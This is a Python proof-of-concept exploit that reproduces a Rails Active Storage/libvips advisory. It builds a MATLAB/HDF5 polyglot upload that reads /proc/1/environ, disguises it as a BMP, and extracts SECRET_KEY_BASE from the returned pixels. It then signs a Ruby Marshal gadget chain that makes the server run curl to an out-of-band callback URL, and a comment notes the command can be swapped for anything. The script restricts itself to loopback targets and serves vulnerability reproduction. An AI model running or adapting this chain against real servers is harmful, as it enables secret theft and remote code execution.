#!/usr/bin/env python3
"""One-shot lab-scoped GHSA-xr9x-r78c-5hrm reproduction.

The script constructs its own upload artifact, then:

1. creates the external-storage MATLAB/HDF5 image;
2. constructs and embeds the unsigned Ruby Marshal OOB graph;
3. uploads a normal PNG through the application's ordinary HTML form;
4. direct-uploads the constructed artifact as an unidentified BMP;
5. recovers SECRET_KEY_BASE from the returned representation;
6. signs the embedded Marshal payload; and
7. triggers its one correlation-only HTTP GET.

No secret, file contents, command output, or target identifier is included in
the callback.

Dependency:
    python3 -m pip install h5py
"""

from __future__ import annotations

import argparse
import base64
from dataclasses import dataclass
import hashlib
import hmac
from html.parser import HTMLParser
import http.cookiejar
import ipaddress
import json
import os
from pathlib import Path
import secrets
import ssl
import struct
import sys
import tempfile
from typing import Mapping
import urllib.error
import urllib.parse
import urllib.request
import zlib


DEFAULT_TARGET = "http://127.0.0.1:3000"
DEFAULT_OAST = "http://127.0.0.1:8080/callback"
DEFAULT_EXTERNAL_PATH = "/proc/1/environ"
DEFAULT_DATASET_BYTES = 1024
MIN_DATASET_BYTES = 128
MAX_DATASET_BYTES = 4096
MAX_OAST_URL_BYTES = 1024
DATASET_NAME = "environment"
HDF5_USERBLOCK_SIZE = 512
HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n"
MATLAB_DESCRIPTION = b"MATLAB 5.0 external-storage safe lab"
MATLAB_VERSION = 0x0200
MATLAB_ENDIAN = b"IM"
PAYLOAD_MAGIC = b"RAILS_GHSA_OAST_PAYLOAD_V1\x00"
PAYLOAD_DIGEST_BYTES = hashlib.sha256().digest_size
USER_AGENT = "rails-ghsa-xr9x-lab-poc/1.0"


class PocError(RuntimeError):
    pass


class CsrfParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.token: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "meta":
            return
        values = dict(attrs)
        if values.get("name") == "csrf-token" and values.get("content"):
            self.token = values["content"]


class RepresentationParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.path: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "img":
            return
        source = dict(attrs).get("src")
        if source and "/rails/active_storage/representations/" in source:
            self.path = source


@dataclass
class HttpResult:
    status: int
    body: bytes
    headers: Mapping[str, str]
    url: str


@dataclass(frozen=True)
class EmbeddedPayload:
    oast: str
    callback_url: str
    nonce: str
    serialized: bytes


@dataclass(frozen=True)
class MarshalSymbol:
    name: str


@dataclass(frozen=True)
class MarshalModule:
    name: str


@dataclass(frozen=True)
class MarshalObject:
    class_name: str
    ivars: tuple[tuple[str, object], ...]


@dataclass(frozen=True)
class MarshalHash:
    pairs: tuple[tuple[object, object], ...]


class RubyMarshalWriter:
    """Minimal Ruby Marshal 4.8 writer for the OOB gadget graph."""

    def __init__(self) -> None:
        self.output = bytearray(b"\x04\x08")
        self.symbol_indexes: dict[str, int] = {}

    @staticmethod
    def packed_integer(value: int) -> bytes:
        if value == 0:
            return b"\x00"
        if 0 < value < 123:
            return bytes((value + 5,))
        if -124 < value < 0:
            return bytes(((value - 5) & 0xFF,))
        if value > 0:
            width = max(1, (value.bit_length() + 7) // 8)
            return bytes((width,)) + value.to_bytes(width, "little")
        raise ValueError("negative multi-byte Marshal integers are not needed")

    def write_symbol(self, name: str) -> None:
        existing = self.symbol_indexes.get(name)
        if existing is not None:
            self.output.extend(b";")
            self.output.extend(self.packed_integer(existing))
            return

        encoded = name.encode("utf-8")
        self.symbol_indexes[name] = len(self.symbol_indexes)
        self.output.extend(b":")
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)

    def write_string(self, value: str | bytes) -> None:
        encoded = value.encode("utf-8") if isinstance(value, str) else value
        self.output.extend(b'I"')
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)
        self.output.extend(self.packed_integer(1))
        self.write_symbol("E")
        self.output.extend(b"T")

    def write(self, value: object) -> None:
        if isinstance(value, MarshalSymbol):
            self.write_symbol(value.name)
        elif isinstance(value, MarshalModule):
            encoded = value.name.encode("utf-8")
            self.output.extend(b"m")
            self.output.extend(self.packed_integer(len(encoded)))
            self.output.extend(encoded)
        elif isinstance(value, MarshalObject):
            self.output.extend(b"o")
            self.write_symbol(value.class_name)
            self.output.extend(self.packed_integer(len(value.ivars)))
            for name, item in value.ivars:
                self.write_symbol(name)
                self.write(item)
        elif isinstance(value, MarshalHash):
            self.output.extend(b"{")
            self.output.extend(self.packed_integer(len(value.pairs)))
            for key, item in value.pairs:
                self.write(key)
                self.write(item)
        elif isinstance(value, (list, tuple)):
            self.output.extend(b"[")
            self.output.extend(self.packed_integer(len(value)))
            for item in value:
                self.write(item)
        elif isinstance(value, bool):
            self.output.extend(b"T" if value else b"F")
        elif isinstance(value, int):
            self.output.extend(b"i")
            self.output.extend(self.packed_integer(value))
        elif isinstance(value, (str, bytes)):
            self.write_string(value)
        elif value is None:
            self.output.extend(b"0")
        else:
            raise TypeError(f"unsupported Marshal value: {type(value).__name__}")

    def finish(self) -> bytes:
        return bytes(self.output)


def bounded_byte_count(value: str) -> int:
    try:
        result = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if not MIN_DATASET_BYTES <= result <= MAX_DATASET_BYTES:
        raise argparse.ArgumentTypeError(
            f"must be between {MIN_DATASET_BYTES} and {MAX_DATASET_BYTES}"
        )
    return result


def oast_url_argument(value: str) -> str:
    try:
        result = validate_oast(value)
    except PocError as error:
        raise argparse.ArgumentTypeError(str(error)) from error
    if len(result.encode("utf-8")) > MAX_OAST_URL_BYTES - 64:
        raise argparse.ArgumentTypeError("OAST URL is too long")
    return result


def correlation_nonce(value: str) -> str:
    try:
        decoded = bytes.fromhex(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be hexadecimal") from error
    if len(decoded) != 16:
        raise argparse.ArgumentTypeError("must encode exactly 16 bytes")
    return value.lower()


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Construct the upload artifact, reproduce the Rails/libvips "
            "chain, and issue one correlation-only HTTP callback."
        )
    )
    parser.add_argument(
        "--target",
        default=DEFAULT_TARGET,
        help="Rails origin (default: %(default)s)",
    )
    parser.add_argument(
        "--artifact",
        type=Path,
        help=(
            "optional path at which to retain the constructed artifact; an "
            "existing file is reused unless --force is passed"
        ),
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="rebuild and replace an existing --artifact file",
    )
    parser.add_argument(
        "--external-path",
        default=DEFAULT_EXTERNAL_PATH,
        help=(
            "absolute target-side file stored in the HDF5 external dataset "
            "(default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--bytes",
        dest="byte_count",
        type=bounded_byte_count,
        default=DEFAULT_DATASET_BYTES,
        help=(
            f"bounded external dataset size, {MIN_DATASET_BYTES}-"
            f"{MAX_DATASET_BYTES} (default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--oast",
        type=oast_url_argument,
        help=(
            "callback URL to embed when constructing; with a reused artifact, "
            "optionally assert its embedded URL"
        ),
    )
    parser.add_argument(
        "--nonce",
        type=correlation_nonce,
        help=(
            "optional 16-byte hexadecimal correlation nonce; a random nonce "
            "is generated when constructing, or this asserts the nonce in a "
            "reused artifact"
        ),
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=15.0,
        help="per-request timeout in seconds (default: %(default)s)",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="disable TLS certificate verification for the target connection",
    )
    return parser.parse_args()


def normalized_origin(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--target must be an http:// or https:// origin")
    if parsed.username or parsed.password:
        raise PocError("--target must not contain URL credentials")
    if parsed.query or parsed.fragment:
        raise PocError("--target must not contain a query or fragment")
    path = parsed.path.rstrip("/")
    return urllib.parse.urlunsplit(
        (parsed.scheme, parsed.netloc, path, "", "")
    )


def is_literal_loopback(origin: str) -> bool:
    hostname = urllib.parse.urlsplit(origin).hostname
    if hostname == "localhost":
        return True
    try:
        return ipaddress.ip_address(hostname or "").is_loopback
    except ValueError:
        return False


def validate_oast(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--oast must be an http:// or https:// URL")
    if parsed.username or parsed.password:
        raise PocError("--oast must not contain URL credentials")
    if parsed.fragment:
        raise PocError("--oast must not contain a fragment")
    return value


def callback_probe_url(oast: str, nonce: str) -> str:
    parsed = urllib.parse.urlsplit(oast)
    query = urllib.parse.parse_qsl(parsed.query, keep_blank_values=True)
    query.append(("rails_ghsa_xr9x", nonce))
    probe = urllib.parse.urlunsplit(
        (
            parsed.scheme,
            parsed.netloc,
            parsed.path or "/",
            urllib.parse.urlencode(query),
            "",
        )
    )
    if len(probe.encode("utf-8")) > 1_024:
        raise PocError("OAST URL with correlation token exceeds 1024 bytes")
    return probe


def matlab_header() -> bytes:
    header = bytearray(b" " * 128)
    header[: len(MATLAB_DESCRIPTION)] = MATLAB_DESCRIPTION
    struct.pack_into("<H", header, 124, MATLAB_VERSION)
    header[126:128] = MATLAB_ENDIAN
    return bytes(header)

# RCE - This can be updatd to run anything; but curl is used to prove RCE safely.
def marshal_oast_payload(callback_url: str) -> bytes:
    tool = MarshalObject(
        "MiniMagick::Tool",
        (
            ("@name", "/usr/bin/curl"),
            (
                "@args",
                (
                    "--silent",
                    "--show-error",
                    "--max-time",
                    "8",
                    "--output",
                    "/dev/null",
                    "--user-agent",
                    USER_AGENT,
                    callback_url,
                    # The first request is the callback. The second URL fails
                    # immediately and prevents a duplicate callback while
                    # Rails rebuilds the surrounding Hash.
                    "http://127.0.0.1:1/",
                ),
            ),
            ("@options", MarshalHash(())),
        ),
    )
    proxy = MarshalObject(
        "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy",
        (
            ("@instance", tool),
            ("@method", MarshalSymbol("call")),
            ("@var", "@tool"),
            ("@deprecator", MarshalModule("Kernel")),
        ),
    )
    envelope = MarshalHash(
        (
            (
                "_rails",
                MarshalHash(
                    (
                        ("data", MarshalHash(((proxy, 0),))),
                        ("pur", "variation"),
                    )
                ),
            ),
        )
    )
    writer = RubyMarshalWriter()
    writer.write(envelope)
    return writer.finish()


def payload_trailer(oast: str, nonce: str) -> tuple[bytes, EmbeddedPayload]:
    callback_url = callback_probe_url(oast, nonce)
    serialized = marshal_oast_payload(callback_url)
    manifest = json.dumps(
        {
            "callback_url": callback_url,
            "kind": "active-storage-ruby-marshal-oast",
            "nonce": nonce,
            "oast": oast,
            "program": "/usr/bin/curl",
            "version": 1,
        },
        separators=(",", ":"),
        sort_keys=True,
    ).encode("utf-8")
    body = (
        PAYLOAD_MAGIC
        + struct.pack(">II", len(manifest), len(serialized))
        + manifest
        + serialized
    )
    return (
        body + hashlib.sha256(body).digest(),
        EmbeddedPayload(oast, callback_url, nonce, serialized),
    )


def construct_artifact_file(
    output: Path,
    external_path: str,
    byte_count: int,
    oast: str,
    nonce: str,
) -> EmbeddedPayload:
    try:
        import h5py
    except ModuleNotFoundError as error:
        raise PocError(
            "h5py is required to construct the artifact; install it with: "
            "python3 -m pip install h5py"
        ) from error

    with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file:
        dataset = mat_file.create_dataset(
            DATASET_NAME,
            shape=(1, byte_count),
            dtype="<u1",
            external=[(external_path, 0, byte_count)],
        )
        dataset.attrs.create("MATLAB_class", b"uint8", dtype="S5")

    trailer, payload = payload_trailer(oast, nonce)
    with output.open("r+b") as artifact_file:
        artifact_file.write(matlab_header())
        artifact_file.seek(0, os.SEEK_END)
        artifact_file.write(trailer)
    return payload


def validate_artifact_layout(
    artifact: bytes,
    *,
    external_path: str | None = None,
    expected_payload: EmbeddedPayload | None = None,
) -> EmbeddedPayload:
    if (
        not artifact.startswith(b"MATLAB 5.0")
        or artifact[124:128] != b"\x00\x02IM"
        or artifact[
            HDF5_USERBLOCK_SIZE : HDF5_USERBLOCK_SIZE + len(HDF5_SIGNATURE)
        ]
        != HDF5_SIGNATURE
        or not all(
            marker in artifact
            for marker in (b"environment", b"MATLAB_class", b"uint8")
        )
        or b"SECRET_KEY_BASE" in artifact
    ):
        digest = hashlib.sha256(artifact).hexdigest()
        raise PocError(
            "artifact does not have the expected constructed MAT/HDF5 layout "
            f"(size={len(artifact)}, sha256={digest})"
        )
    if (
        external_path is not None
        and external_path.encode("utf-8") not in artifact
    ):
        raise PocError("artifact does not contain the configured external path")
    payload = embedded_payload(artifact)
    if expected_payload is not None and payload != expected_payload:
        raise PocError("embedded payload changed during artifact construction")
    return payload


def prepare_artifact(
    args: argparse.Namespace, temporary_directory: Path
) -> tuple[bytes, EmbeddedPayload, Path, str, bool]:
    retained = args.artifact is not None
    if args.force and not retained:
        raise PocError("--force requires --artifact")
    output = (
        args.artifact.expanduser()
        if retained
        else temporary_directory / "environment-read.bmp"
    )

    if output.exists() and retained and not args.force:
        artifact = output.read_bytes()
        payload = validate_artifact_layout(artifact)
        if args.oast is not None and args.oast != payload.oast:
            raise PocError(
                "--oast does not match the reused artifact; pass --force to "
                "rebuild it with the requested URL"
            )
        if args.nonce is not None and args.nonce != payload.nonce:
            raise PocError(
                "--nonce does not match the reused artifact; pass --force to "
                "rebuild it with the requested nonce"
            )
        return artifact, payload, output, "reused", retained

    if not args.external_path.startswith("/"):
        raise PocError("--external-path must be absolute")
    if "\x00" in args.external_path:
        raise PocError("--external-path must not contain a NUL byte")

    output.parent.mkdir(parents=True, exist_ok=True)
    file_descriptor, temporary_name = tempfile.mkstemp(
        prefix=f".{output.name}.",
        suffix=".tmp",
        dir=output.parent,
    )
    os.close(file_descriptor)
    temporary_output = Path(temporary_name)
    oast = args.oast or DEFAULT_OAST
    nonce = args.nonce or secrets.token_hex(16)
    try:
        expected_payload = construct_artifact_file(
            temporary_output,
            args.external_path,
            args.byte_count,
            oast,
            nonce,
        )
        artifact = temporary_output.read_bytes()
        payload = validate_artifact_layout(
            artifact,
            external_path=args.external_path,
            expected_payload=expected_payload,
        )
        temporary_output.replace(output)
    except Exception:
        temporary_output.unlink(missing_ok=True)
        raise
    return artifact, payload, output, "constructed", retained


def embedded_payload(artifact: bytes) -> EmbeddedPayload:
    start = artifact.rfind(PAYLOAD_MAGIC)
    if start < 0:
        raise PocError(
            "artifact has no embedded payload; rebuild it with --force or "
            "with build_upload_artifact.py"
        )
    lengths_at = start + len(PAYLOAD_MAGIC)
    if lengths_at + 8 > len(artifact):
        raise PocError("embedded payload header is truncated")
    manifest_length, serialized_length = struct.unpack(
        ">II", artifact[lengths_at : lengths_at + 8]
    )
    manifest_at = lengths_at + 8
    serialized_at = manifest_at + manifest_length
    digest_at = serialized_at + serialized_length
    if digest_at + PAYLOAD_DIGEST_BYTES != len(artifact):
        raise PocError("embedded payload lengths are inconsistent")
    body = artifact[start:digest_at]
    if not hmac.compare_digest(
        hashlib.sha256(body).digest(),
        artifact[digest_at:],
    ):
        raise PocError("embedded payload digest mismatch")
    try:
        manifest = json.loads(artifact[manifest_at:serialized_at])
    except (UnicodeDecodeError, json.JSONDecodeError) as error:
        raise PocError("embedded payload manifest is invalid") from error
    if not isinstance(manifest, dict):
        raise PocError("embedded payload manifest is not an object")
    expected = {
        "kind": "active-storage-ruby-marshal-oast",
        "program": "/usr/bin/curl",
        "version": 1,
    }
    if any(manifest.get(key) != value for key, value in expected.items()):
        raise PocError("embedded payload manifest has unexpected metadata")
    oast = manifest.get("oast")
    callback_url = manifest.get("callback_url")
    nonce = manifest.get("nonce")
    if not all(isinstance(value, str) for value in (oast, callback_url, nonce)):
        raise PocError("embedded payload manifest is missing string fields")
    validate_oast(oast)
    try:
        nonce_bytes = bytes.fromhex(nonce)
    except ValueError as error:
        raise PocError("embedded correlation nonce is not hexadecimal") from error
    if len(nonce_bytes) != 16 or callback_probe_url(oast, nonce) != callback_url:
        raise PocError("embedded callback parameters are inconsistent")
    serialized = artifact[serialized_at:digest_at]
    if (
        not serialized.startswith(b"\x04\x08")
        or callback_url.encode("utf-8") not in serialized
        or b"/usr/bin/curl" not in serialized
    ):
        raise PocError("embedded Ruby Marshal payload is inconsistent")
    return EmbeddedPayload(oast, callback_url, nonce, serialized)


def target_url(origin: str, path: str) -> str:
    resolved = urllib.parse.urlsplit(
        urllib.parse.urljoin(origin + "/", path)
    )
    expected = urllib.parse.urlsplit(origin)
    if (resolved.scheme, resolved.netloc) != (expected.scheme, expected.netloc):
        raise PocError("application returned a URL on a different origin")
    return urllib.parse.urlunsplit(resolved)


def target_path(origin: str, supplied: str) -> str:
    resolved = urllib.parse.urlsplit(target_url(origin, supplied))
    if resolved.query:
        raise PocError("representation URL unexpectedly contains a query")
    return resolved.path


def request(
    opener: urllib.request.OpenerDirector,
    url: str,
    timeout: float,
    *,
    method: str = "GET",
    data: bytes | None = None,
    headers: Mapping[str, str] | None = None,
) -> HttpResult:
    request_headers = {"User-Agent": USER_AGENT}
    if headers:
        request_headers.update(headers)
    req = urllib.request.Request(
        url,
        data=data,
        headers=request_headers,
        method=method,
    )
    try:
        with opener.open(req, timeout=timeout) as response:
            return HttpResult(
                response.status,
                response.read(),
                response.headers,
                response.geturl(),
            )
    except urllib.error.HTTPError as error:
        return HttpResult(
            error.code,
            error.read(),
            error.headers,
            error.geturl(),
        )
    except urllib.error.URLError as error:
        raise PocError(f"request failed for {url}: {error.reason}") from error


def require_status(result: HttpResult, expected: int, stage: str) -> None:
    if result.status == expected:
        return
    excerpt = result.body[:300].decode("utf-8", "replace").replace("\n", " ")
    raise PocError(
        f"{stage} returned HTTP {result.status}, expected {expected}: {excerpt}"
    )


def json_object(result: HttpResult, stage: str) -> dict:
    try:
        value = json.loads(result.body)
    except (UnicodeDecodeError, json.JSONDecodeError) as error:
        raise PocError(f"{stage} did not return JSON") from error
    if not isinstance(value, dict):
        raise PocError(f"{stage} returned a non-object JSON value")
    return value


def png_chunk(kind: bytes, data: bytes) -> bytes:
    return (
        struct.pack(">I", len(data))
        + kind
        + data
        + struct.pack(">I", zlib.crc32(kind + data) & 0xFFFFFFFF)
    )


def safe_png() -> bytes:
    width = 16
    height = 16
    rows = b"".join(b"\x00" + (b"\x00" * width * 3) for _ in range(height))
    return (
        b"\x89PNG\r\n\x1a\n"
        + png_chunk(
            b"IHDR",
            struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0),
        )
        + png_chunk(b"IDAT", zlib.compress(rows, 9))
        + png_chunk(b"IEND", b"")
    )


def multipart_upload(
    csrf_token: str, field_name: str, filename: str, mime: str, content: bytes
) -> tuple[bytes, str]:
    boundary = "----rails-ghsa-" + secrets.token_hex(16)
    encoded_boundary = boundary.encode("ascii")
    body = bytearray()

    def line(value: bytes = b"") -> None:
        body.extend(value + b"\r\n")

    line(b"--" + encoded_boundary)
    line(b'Content-Disposition: form-data; name="authenticity_token"')
    line()
    line(csrf_token.encode("utf-8"))
    line(b"--" + encoded_boundary)
    line(
        (
            f'Content-Disposition: form-data; name="{field_name}"; '
            f'filename="{filename}"'
        ).encode("ascii")
    )
    line(f"Content-Type: {mime}".encode("ascii"))
    line()
    body.extend(content)
    line()
    line(b"--" + encoded_boundary + b"--")
    return bytes(body), f"multipart/form-data; boundary={boundary}"


def parse_png_pixels(data: bytes) -> tuple[int, int, int, bytes]:
    if not data.startswith(b"\x89PNG\r\n\x1a\n"):
        raise PocError("representation response is not a PNG")

    offset = 8
    ihdr: tuple[int, int, int, int, int, int, int] | None = None
    compressed = bytearray()
    while offset + 12 <= len(data):
        length = struct.unpack(">I", data[offset : offset + 4])[0]
        kind = data[offset + 4 : offset + 8]
        chunk = data[offset + 8 : offset + 8 + length]
        if offset + 12 + length > len(data):
            raise PocError("truncated PNG chunk")
        expected_crc = struct.unpack(
            ">I", data[offset + 8 + length : offset + 12 + length]
        )[0]
        if (zlib.crc32(kind + chunk) & 0xFFFFFFFF) != expected_crc:
            raise PocError("PNG chunk CRC mismatch")
        if kind == b"IHDR":
            ihdr = struct.unpack(">IIBBBBB", chunk)
        elif kind == b"IDAT":
            compressed.extend(chunk)
        elif kind == b"IEND":
            break
        offset += 12 + length

    if ihdr is None:
        raise PocError("PNG has no IHDR")
    width, height, bit_depth, color_type, compression, filtering, interlace = ihdr
    channels_by_type = {0: 1, 2: 3, 4: 2, 6: 4}
    channels = channels_by_type.get(color_type)
    if (
        channels is None
        or bit_depth != 8
        or compression != 0
        or filtering != 0
        or interlace != 0
    ):
        raise PocError(
            "unsupported PNG layout "
            f"(bit_depth={bit_depth}, color_type={color_type}, "
            f"interlace={interlace})"
        )

    try:
        filtered = zlib.decompress(bytes(compressed))
    except zlib.error as error:
        raise PocError("could not decompress PNG pixels") from error
    stride = width * channels
    if len(filtered) != height * (stride + 1):
        raise PocError("unexpected PNG scanline size")

    pixels = bytearray()
    previous = bytearray(stride)
    cursor = 0
    for _ in range(height):
        filter_type = filtered[cursor]
        row = bytearray(filtered[cursor + 1 : cursor + 1 + stride])
        cursor += stride + 1
        for index in range(stride):
            left = row[index - channels] if index >= channels else 0
            above = previous[index]
            upper_left = previous[index - channels] if index >= channels else 0
            if filter_type == 0:
                value = row[index]
            elif filter_type == 1:
                value = (row[index] + left) & 0xFF
            elif filter_type == 2:
                value = (row[index] + above) & 0xFF
            elif filter_type == 3:
                value = (row[index] + ((left + above) // 2)) & 0xFF
            elif filter_type == 4:
                estimate = left + above - upper_left
                distances = (
                    abs(estimate - left),
                    abs(estimate - above),
                    abs(estimate - upper_left),
                )
                predictor = (left, above, upper_left)[distances.index(min(distances))]
                value = (row[index] + predictor) & 0xFF
            else:
                raise PocError(f"unsupported PNG filter type {filter_type}")
            row[index] = value
        pixels.extend(row)
        previous = row
    return width, height, channels, bytes(pixels)


def forged_variation(secret: bytes, serialized: bytes) -> str:
    encoded = base64.urlsafe_b64encode(serialized).rstrip(b"=").decode("ascii")
    verifier_key = hashlib.pbkdf2_hmac(
        "sha256",
        secret,
        b"ActiveStorage",
        1_000,
        dklen=64,
    )
    signature = hmac.new(
        verifier_key, encoded.encode("ascii"), hashlib.sha1
    ).hexdigest()
    return encoded + "--" + signature


def direct_upload_url(origin: str, supplied: str) -> str:
    parsed = urllib.parse.urlsplit(urllib.parse.urljoin(origin + "/", supplied))
    base = urllib.parse.urlsplit(origin)
    return urllib.parse.urlunsplit(
        (base.scheme, base.netloc, parsed.path, parsed.query, "")
    )


def run_chain(
    args: argparse.Namespace,
    artifact: bytes,
    payload: EmbeddedPayload,
    artifact_path: Path,
    artifact_mode: str,
    artifact_retained: bool,
) -> int:
    origin = normalized_origin(args.target)
    if not is_literal_loopback(origin):
        raise PocError(
            "non-loopback target refused by this lab-only driver"
        )
    if args.timeout <= 0:
        raise PocError("--timeout must be positive")

    artifact_digest = hashlib.sha256(artifact).hexdigest()

    context = (
        ssl._create_unverified_context()
        if args.insecure
        else ssl.create_default_context()
    )
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()),
        urllib.request.HTTPSHandler(context=context),
    )

    print(f"target={origin}")
    print(f"artifact_mode={artifact_mode}")
    print(f"artifact_retained={str(artifact_retained).lower()}")
    if artifact_retained:
        print(f"artifact={artifact_path.resolve()}")
    print(f"artifact_sha256={artifact_digest}")
    if artifact_mode == "constructed":
        print(f"external_dataset={args.external_path}")
        print(f"geometry=1x{args.byte_count}x1")
    print("embedded_payload=true")
    print(f"marshal_bytes={len(payload.serialized)}")

    landing = request(opener, target_url(origin, "/"), args.timeout)
    require_status(landing, 200, "upload form")
    parser = CsrfParser()
    parser.feed(landing.body.decode("utf-8", "replace"))
    if not parser.token:
        raise PocError("upload form did not contain a CSRF token")

    safe_body, safe_content_type = multipart_upload(
        parser.token,
        "upload[avatar]",
        "safe.png",
        "image/png",
        safe_png(),
    )
    safe_upload = request(
        opener,
        target_url(origin, "/uploads"),
        args.timeout,
        method="POST",
        data=safe_body,
        headers={
            "Content-Type": safe_content_type,
            "Accept": "text/html",
        },
    )
    require_status(safe_upload, 200, "safe PNG upload")
    representation_parser = RepresentationParser()
    representation_parser.feed(
        safe_upload.body.decode("utf-8", "replace")
    )
    representation_source = representation_parser.path
    if not representation_source:
        raise PocError(
            "ordinary upload show page did not contain a representation image"
        )
    safe_representation = target_path(origin, representation_source)

    safe_result = request(
        opener,
        target_url(origin, safe_representation),
        args.timeout,
    )
    require_status(safe_result, 200, "safe PNG representation")
    print("safe_png_representation_http=200")

    checksum = base64.b64encode(hashlib.md5(artifact).digest()).decode("ascii")
    direct_request = json.dumps(
        {
            "blob": {
                "filename": "profile.bmp",
                "byte_size": len(artifact),
                "checksum": checksum,
                "content_type": "image/bmp",
            }
        },
        separators=(",", ":"),
    ).encode("utf-8")
    direct_create = request(
        opener,
        target_url(origin, "/rails/active_storage/direct_uploads"),
        args.timeout,
        method="POST",
        data=direct_request,
        headers={
            "X-CSRF-Token": parser.token,
            "Content-Type": "application/json",
            "Accept": "application/json",
        },
    )
    require_status(direct_create, 200, "direct-upload creation")
    direct_json = json_object(direct_create, "direct-upload creation")

    try:
        signed_blob_id = direct_json["signed_id"]
        direct_spec = direct_json["direct_upload"]
        upload_url = direct_spec["url"]
        upload_headers = direct_spec["headers"]
    except (KeyError, TypeError) as error:
        raise PocError("direct-upload response is missing required fields") from error
    if not isinstance(signed_blob_id, str):
        raise PocError("direct-upload signed_id is not a string")
    if not isinstance(upload_url, str) or not isinstance(upload_headers, dict):
        raise PocError("direct-upload URL or headers have an unexpected type")
    if not all(
        isinstance(key, str) and isinstance(value, str)
        for key, value in upload_headers.items()
    ):
        raise PocError("direct-upload headers are not strings")

    direct_put = request(
        opener,
        direct_upload_url(origin, upload_url),
        args.timeout,
        method="PUT",
        data=artifact,
        headers=upload_headers,
    )
    require_status(direct_put, 204, "direct object upload")
    print("direct_blob_create_http=200")
    print("direct_object_put_http=204")

    path_parts = safe_representation.split("/")
    try:
        redirect_index = path_parts.index("redirect")
    except ValueError as error:
        raise PocError("representation route does not contain redirect") from error
    if redirect_index + 2 >= len(path_parts):
        raise PocError("representation route is shorter than expected")
    path_parts[redirect_index + 1] = urllib.parse.quote(
        signed_blob_id, safe=""
    )
    path_parts[-1] = "profile.bmp"
    environment_path = "/".join(path_parts)

    environment_result = request(
        opener,
        target_url(origin, environment_path),
        args.timeout,
    )
    print(f"environment_representation_http={environment_result.status}")
    if environment_result.status != 200:
        raise PocError(
            "environment representation was blocked or failed; this is "
            "expected on a patched target"
        )

    width, height, channels, pixels = parse_png_pixels(environment_result.body)
    if width != 1 or channels != 1 or not 128 <= height <= 4_096:
        raise PocError(
            f"unexpected returned geometry {width}x{height}x{channels}"
        )
    secret_entry = next(
        (
            entry
            for entry in pixels.split(b"\x00")
            if entry.startswith(b"SECRET_KEY_BASE=")
        ),
        None,
    )
    if secret_entry is None:
        returned_names = sorted(
            {
                entry.split(b"=", 1)[0].decode("ascii", "replace")
                for entry in pixels.split(b"\x00")
                if b"=" in entry
            }
        )
        raise PocError(
            "SECRET_KEY_BASE was not present in returned pixels "
            f"(geometry={width}x{height}x{channels}, "
            f"environment_names={returned_names})"
        )
    secret = secret_entry.removeprefix(b"SECRET_KEY_BASE=")
    if len(secret) < 32:
        raise PocError("recovered secret is implausibly short")
    print(f"returned_geometry={width}x{height}x{channels}")
    print(f"recovered_secret_bytes={len(secret)}")
    print("ARBITRARY_ENV_READ_RESULT=CONFIRMED")

    token = forged_variation(secret, payload.serialized)
    print("marshal_constructed=true")
    print("marshal_source=embedded_artifact")
    print("rce_program=/usr/bin/curl")

    forged_parts = safe_representation.split("/")
    if len(forged_parts) < 2:
        raise PocError("safe representation route is too short")
    forged_parts[-2] = urllib.parse.quote(token, safe="")
    forged_path = "/".join(forged_parts)
    probe_result = request(
        opener,
        target_url(origin, forged_path),
        args.timeout + 10,
    )

    print(f"oast_probe_http={probe_result.status}")
    print(f"oast_nonce={payload.nonce}")
    print(f"oast_expected_url={payload.callback_url}")
    print("OAST_RESULT=CHECK_RECEIVER")
    return 0


def main() -> int:
    args = parse_args()
    with tempfile.TemporaryDirectory(prefix="rails-vips-oast-") as temp_name:
        artifact, payload, path, mode, retained = prepare_artifact(
            args, Path(temp_name)
        )
        return run_chain(
            args,
            artifact,
            payload,
            path,
            mode,
            retained,
        )


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except (PocError, OSError) as error:
        print(f"error: {error}", file=sys.stderr)
        raise SystemExit(1)